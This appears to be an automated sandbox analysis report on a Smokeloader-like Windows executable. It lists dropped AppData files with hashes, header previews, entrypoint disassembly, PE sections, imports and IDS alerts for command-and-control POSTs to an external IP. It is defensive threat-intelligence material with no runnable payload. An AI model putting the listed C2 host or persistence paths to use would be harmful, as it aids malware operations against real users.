	KClGcCpDAP.exe	Get hash	malicious	Unknown	Browse	188.40.141.211

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445952
Entropy (8bit):	6.33809988244996
Encrypted:	false
SSDEEP:	6144:LwUZ9L7YogfjUt9cFAKm8shskq17c4IARUEe+8ULQTdVjzwa4opTT:LfZh7YokjUbc9m8shsXA0UP+gNLT
MD5:	0719C6940AABCC832DB40F7EE68A25DC
SHA1:	0D23A06DAA49E69D41ED406C32C6EE2C4F8445E1
SHA-256:	77931F6678ADECE99070E617DCC98A2E9BE636803BFE8DED58CF8A5362DD4430
SHA-512:	0264DE6170008268F46EC96CC2FF2EB34A1D71EA841BE909810A1A891339BADCB2E9E3020FDEE04288ED5070A19668ADDE2E6C153FBAA10D9F577D7C1B009EAE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............._..._..._..L_..._..y_..._..x_..._.A_..._..._S.._..}_..._..H_..._..O_..._Rich..._........................PE..L......e.............................9............@.........................................................................u..P....................................u..............................Xl..@............................................text............................... ..`.rdata..R...........................@..@.data............^...t..............@....fulocu.............................@..@.soro...............................@..@.kefef..............................@....rsrc...............................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jtihrdr

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	445952
Entropy (8bit):	6.33809988244996
Encrypted:	false
SSDEEP:	6144:LwUZ9L7YogfjUt9cFAKm8shskq17c4IARUEe+8ULQTdVjzwa4opTT:LfZh7YokjUbc9m8shsXA0UP+gNLT
MD5:	0719C6940AABCC832DB40F7EE68A25DC
SHA1:	0D23A06DAA49E69D41ED406C32C6EE2C4F8445E1
SHA-256:	77931F6678ADECE99070E617DCC98A2E9BE636803BFE8DED58CF8A5362DD4430
SHA-512:	0264DE6170008268F46EC96CC2FF2EB34A1D71EA841BE909810A1A891339BADCB2E9E3020FDEE04288ED5070A19668ADDE2E6C153FBAA10D9F577D7C1B009EAE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............._..._..._..L_..._..y_..._..x_..._.A_..._..._S.._..}_..._..H_..._..O_..._Rich..._........................PE..L......e.............................9............@.........................................................................u..P....................................u..............................Xl..@............................................text............................... ..`.rdata..R...........................@..@.data............^...t..............@....fulocu.............................@..@.soro...............................@..@.kefef..............................@....rsrc...............................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\teihrdr

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	447488
Entropy (8bit):	6.349979284586235
Encrypted:	false
SSDEEP:	6144:zwtN955b+GARrBUNLMmAjgRkRXsmZabQTdVjtga4opTT:zuNL5aGyUBMmAjnFZpptLT
MD5:	D0D4805488E7E745515FFF2165D3CC05
SHA1:	0CEBEC529DE0430C9E897F740700B27C043A8552
SHA-256:	E684BED5B84F09DD85A88A7847FB4AAED9845F9B8098F0DDA486A095A3115D4C
SHA-512:	5A7DEBE1760FBEF5FCA9D0A1326F4BCF4336540FFA7956232F0AD380605CD99637AF769BCA7D0F91BB1C26FFC094968D6471A4427412041ECBA7F9FB5B93719C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............._..._..._..L_..._..y_..._..x_..._.A_..._..._S.._..}_..._..H_..._..O_..._Rich..._........................PE..L....V.f.............................9............@..........................................................................\|..P...................................X\|...............................r..@............................................text............................... ..`.rdata..............................@..@.data............^...z..............@....gol................................@..@.xowujad............................@..@.xonag..............................@....rsrc...............................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\teihrdr:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.349979284586235
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BzLGqYKy7o.exe
File size:	447'488 bytes
MD5:	d0d4805488e7e745515fff2165d3cc05
SHA1:	0cebec529de0430c9e897f740700b27c043a8552
SHA256:	e684bed5b84f09dd85a88a7847fb4aaed9845f9b8098f0dda486a095a3115d4c
SHA512:	5a7debe1760fbef5fca9d0a1326f4bcf4336540ffa7956232f0ad380605cd99637af769bca7d0f91bb1c26ffc094968d6471a4427412041ecba7f9fb5b93719c
SSDEEP:	6144:zwtN955b+GARrBUNLMmAjgRkRXsmZabQTdVjtga4opTT:zuNL5aGyUBMmAjnFZpptLT
TLSH:	8294BF02A6F1BC60F52266B18E2AD7EC355EFC419E18675F23197F1F18722E1D6327A0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............._..._..._..L_..._..y_..._..x_..._..A_..._..._S.._..}_..._..H_..._..O_..._Rich..._........................PE..L....V.f...

File Icon


Icon Hash:	49294955554d610d

Static PE Info

General

Entrypoint:	0x4039a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6616568B [Wed Apr 10 09:06:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	6e15f2578101cc821c000ba42c1b85a8

Entrypoint Preview

Instruction
call 00007F470C6DAF1Ah
jmp 00007F470C6D81BEh
push dword ptr [0044EFB8h]
call dword ptr [0040D110h]
test eax, eax
je 00007F470C6D8334h
call eax
push 00000019h
call 00007F470C6DA5B7h
push 00000001h
push 00000000h
call 00007F470C6D7CE9h
add esp, 0Ch
jmp 00007F470C6D7CAEh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040D390h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F470C6D833Eh
test byte ptr [eax], 00000008h
je 00007F470C6D8339h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [0040D144h]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]
mov ebp, dword ptr [ebp-04h]
mov esp, dword ptr [ebx-04h]
jmp eax
pop ebx
leave
retn 0008h
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47c08	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x1f1a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x47c58	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x472b0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd000	0x1d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xbdad	0xbe00	5e2dcfacb98721a0c8099d8c142d6e52	False	0.6075863486842106	data	6.709568594890225	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x3b6b2	0x3b800	8c683d4899b1eea99d0c0c894d3ae42f	False	0.7530938156512605	data	6.875369810081216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x49000	0x10a00	0x5e00	dd6946c771454473442f5f63e7083b90	False	0.08431682180851063	data	1.099697366277395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gol	0x5a000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xowujad	0x5b000	0xd6	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xonag	0x5c000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x1f1a8	0x1f200	210ea3fb05c74ca583491c35953e8b69	False	0.42537336847389556	data	5.043242607048044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x76b38	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x76e68	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x76fc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x77e68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x78710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x78ca8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x79b50	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x7a3f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x5da80	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.3718017057569296
RT_ICON	0x5da80	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.3718017057569296
RT_ICON	0x5e928	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.45893501805054154
RT_ICON	0x5e928	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.45893501805054154
RT_ICON	0x5f1d0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.45794930875576034
RT_ICON	0x5f1d0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.45794930875576034
RT_ICON	0x5f898	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.45809248554913296
RT_ICON	0x5f898	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.45809248554913296
RT_ICON	0x5fe00	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2704356846473029
RT_ICON	0x5fe00	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2704356846473029
RT_ICON	0x623a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.30558161350844276
RT_ICON	0x623a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.30558161350844276
RT_ICON	0x63450	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3608156028368794
RT_ICON	0x63450	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3608156028368794
RT_ICON	0x63920	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.5621002132196162
RT_ICON	0x63920	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.5621002132196162
RT_ICON	0x647c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5464801444043321
RT_ICON	0x647c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5464801444043321
RT_ICON	0x65070	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.6221098265895953
RT_ICON	0x65070	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.6221098265895953
RT_ICON	0x655d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.46255186721991703
RT_ICON	0x655d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.46255186721991703
RT_ICON	0x67b80	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4901500938086304
RT_ICON	0x67b80	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4901500938086304
RT_ICON	0x68c28	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.494672131147541
RT_ICON	0x68c28	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.494672131147541
RT_ICON	0x695b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.449468085106383
RT_ICON	0x695b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.449468085106383
RT_ICON	0x69a80	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.376865671641791
RT_ICON	0x69a80	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.376865671641791
RT_ICON	0x6a928	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.506768953068592
RT_ICON	0x6a928	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.506768953068592
RT_ICON	0x6b1d0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5702764976958525
RT_ICON	0x6b1d0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5702764976958525
RT_ICON	0x6b898	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.5816473988439307
RT_ICON	0x6b898	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.5816473988439307
RT_ICON	0x6be00	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.37053941908713695
RT_ICON	0x6be00	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.37053941908713695
RT_ICON	0x6e3a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4129924953095685
RT_ICON	0x6e3a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4129924953095685
RT_ICON	0x6f450	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4012295081967213
RT_ICON	0x6f450	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4012295081967213
RT_ICON	0x6fdd8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.4716312056737589
RT_ICON	0x6fdd8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.4716312056737589
RT_ICON	0x702b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3773987206823028
RT_ICON	0x702b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3773987206823028
RT_ICON	0x71160	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5248194945848376
RT_ICON	0x71160	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5248194945848376
RT_ICON	0x71a08	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6042626728110599
RT_ICON	0x71a08	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6042626728110599
RT_ICON	0x720d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6596820809248555
RT_ICON	0x720d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6596820809248555
RT_ICON	0x72638	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.4900414937759336
RT_ICON	0x72638	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.4900414937759336
RT_ICON	0x74be0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.5082082551594747
RT_ICON	0x74be0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.5082082551594747
RT_ICON	0x75c88	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.48811475409836064
RT_ICON	0x75c88	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.48811475409836064
RT_ICON	0x76610	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5407801418439716
RT_ICON	0x76610	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5407801418439716
RT_STRING	0x7abe8	0x370	data	Tamil	India	0.4681818181818182
RT_STRING	0x7abe8	0x370	data	Tamil	Sri Lanka	0.4681818181818182
RT_STRING	0x7af58	0x6c0	data	Tamil	India	0.43344907407407407
RT_STRING	0x7af58	0x6c0	data	Tamil	Sri Lanka	0.43344907407407407
RT_STRING	0x7b618	0x37c	data	Tamil	India	0.45067264573991034
RT_STRING	0x7b618	0x37c	data	Tamil	Sri Lanka	0.45067264573991034
RT_STRING	0x7b998	0x590	data	Tamil	India	0.43820224719101125
RT_STRING	0x7b998	0x590	data	Tamil	Sri Lanka	0.43820224719101125
RT_STRING	0x7bf28	0x27e	data	Tamil	India	0.49059561128526646
RT_STRING	0x7bf28	0x27e	data	Tamil	Sri Lanka	0.49059561128526646
RT_ACCELERATOR	0x76af0	0x48	data	Tamil	India	0.8472222222222222
RT_ACCELERATOR	0x76af0	0x48	data	Tamil	Sri Lanka	0.8472222222222222
RT_GROUP_CURSOR	0x76f98	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x78c78	0x30	data			0.9375
RT_GROUP_CURSOR	0x7a960	0x30	data			0.9375
RT_GROUP_ICON	0x69a18	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0x69a18	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_GROUP_ICON	0x638b8	0x68	data	Tamil	India	0.6826923076923077
RT_GROUP_ICON	0x638b8	0x68	data	Tamil	Sri Lanka	0.6826923076923077
RT_GROUP_ICON	0x70240	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x70240	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_GROUP_ICON	0x76a78	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x76a78	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_VERSION	0x7a990	0x258	data			0.5416666666666666

Imports

DLL	Import
KERNEL32.dll	GlobalCompact, InterlockedIncrement, InterlockedDecrement, SetEnvironmentVariableW, CreateJobObjectW, QueryDosDeviceA, InterlockedCompareExchange, SetVolumeMountPointW, GetComputerNameW, GetTimeFormatA, GetTickCount, CreateNamedPipeW, LocalFlags, GetNumberFormatA, SetFileTime, ClearCommBreak, TlsSetValue, GetEnvironmentStrings, SetFileShortNameW, LoadLibraryW, CopyFileW, _hread, GetCalendarInfoA, SetVolumeMountPointA, GetVersionExW, GetFileAttributesA, GetModuleFileNameW, CreateActCtxA, GetEnvironmentVariableA, GetShortPathNameA, LCMapStringA, GetConsoleAliasExesA, GetStdHandle, GetLogicalDriveStringsA, GetLastError, GetCurrentDirectoryW, GetProcAddress, EnumSystemCodePagesW, SetComputerNameA, SetFileAttributesA, LoadLibraryA, InterlockedExchangeAdd, LocalAlloc, CreateHardLinkW, GetNumberFormatW, CreateEventW, OpenEventA, FoldStringW, GlobalWire, EnumDateFormatsW, GetShortPathNameW, SetCalendarInfoA, SetProcessShutdownParameters, GetDiskFreeSpaceExA, ReadConsoleInputW, GetCurrentProcessId, DebugBreak, GetTempPathA, CommConfigDialogW, GetLocaleInfoA, SetFilePointer, VerifyVersionInfoW, EnumCalendarInfoA, EncodePointer, DecodePointer, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, HeapReAlloc, GetModuleHandleW, ExitProcess, GetCommandLineW, HeapSetInformation, GetStartupInfoW, RaiseException, RtlUnwind, HeapAlloc, WideCharToMultiByte, LCMapStringW, MultiByteToWideChar, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, HeapCreate, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsFree, SetLastError, GetCurrentThreadId, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetSystemTimeAsFileTime, HeapSize, GetACP, GetOEMCP, IsValidCodePage, GetStringTypeW
GDI32.dll	CreateDCW, GetCharWidth32A, GetCharWidthI
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T14:59:24.450425+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49770	105.197.97.247	80	TCP
2024-10-07T14:59:25.374466+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49776	105.197.97.247	80	TCP
2024-10-07T14:59:26.314240+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49782	105.197.97.247	80	TCP
2024-10-07T14:59:27.265046+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49788	105.197.97.247	80	TCP
2024-10-07T14:59:28.193590+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49794	105.197.97.247	80	TCP
2024-10-07T14:59:29.130090+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49804	105.197.97.247	80	TCP
2024-10-07T14:59:30.253391+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49810	105.197.97.247	80	TCP
2024-10-07T14:59:31.176635+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49814	105.197.97.247	80	TCP
2024-10-07T14:59:32.219133+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49822	105.197.97.247	80	TCP
2024-10-07T14:59:33.173977+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49831	105.197.97.247	80	TCP
2024-10-07T14:59:34.105790+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49837	105.197.97.247	80	TCP
2024-10-07T14:59:35.044145+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49844	105.197.97.247	80	TCP
2024-10-07T14:59:35.980167+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49850	105.197.97.247	80	TCP
2024-10-07T14:59:37.313136+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49856	105.197.97.247	80	TCP
2024-10-07T14:59:38.356354+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49867	105.197.97.247	80	TCP
2024-10-07T14:59:39.269702+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49868	105.197.97.247	80	TCP
2024-10-07T14:59:40.231913+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49874	105.197.97.247	80	TCP
2024-10-07T14:59:41.192149+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49885	105.197.97.247	80	TCP
2024-10-07T14:59:42.137608+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49891	105.197.97.247	80	TCP
2024-10-07T14:59:43.085742+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49897	105.197.97.247	80	TCP
2024-10-07T14:59:44.028780+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49903	105.197.97.247	80	TCP
2024-10-07T14:59:44.972761+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49910	105.197.97.247	80	TCP
2024-10-07T14:59:45.907705+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49916	105.197.97.247	80	TCP
2024-10-07T14:59:47.047276+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49922	105.197.97.247	80	TCP
2024-10-07T14:59:49.566919+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49939	105.197.97.247	80	TCP
2024-10-07T14:59:50.521037+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49945	105.197.97.247	80	TCP
2024-10-07T14:59:51.497852+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49952	105.197.97.247	80	TCP
2024-10-07T14:59:52.661203+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49961	105.197.97.247	80	TCP
2024-10-07T14:59:53.588010+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49969	105.197.97.247	80	TCP
2024-10-07T14:59:54.529610+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49975	105.197.97.247	80	TCP
2024-10-07T14:59:56.016097+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49979	105.197.97.247	80	TCP
2024-10-07T14:59:57.166667+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49982	105.197.97.247	80	TCP
2024-10-07T14:59:58.325335+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49993	105.197.97.247	80	TCP
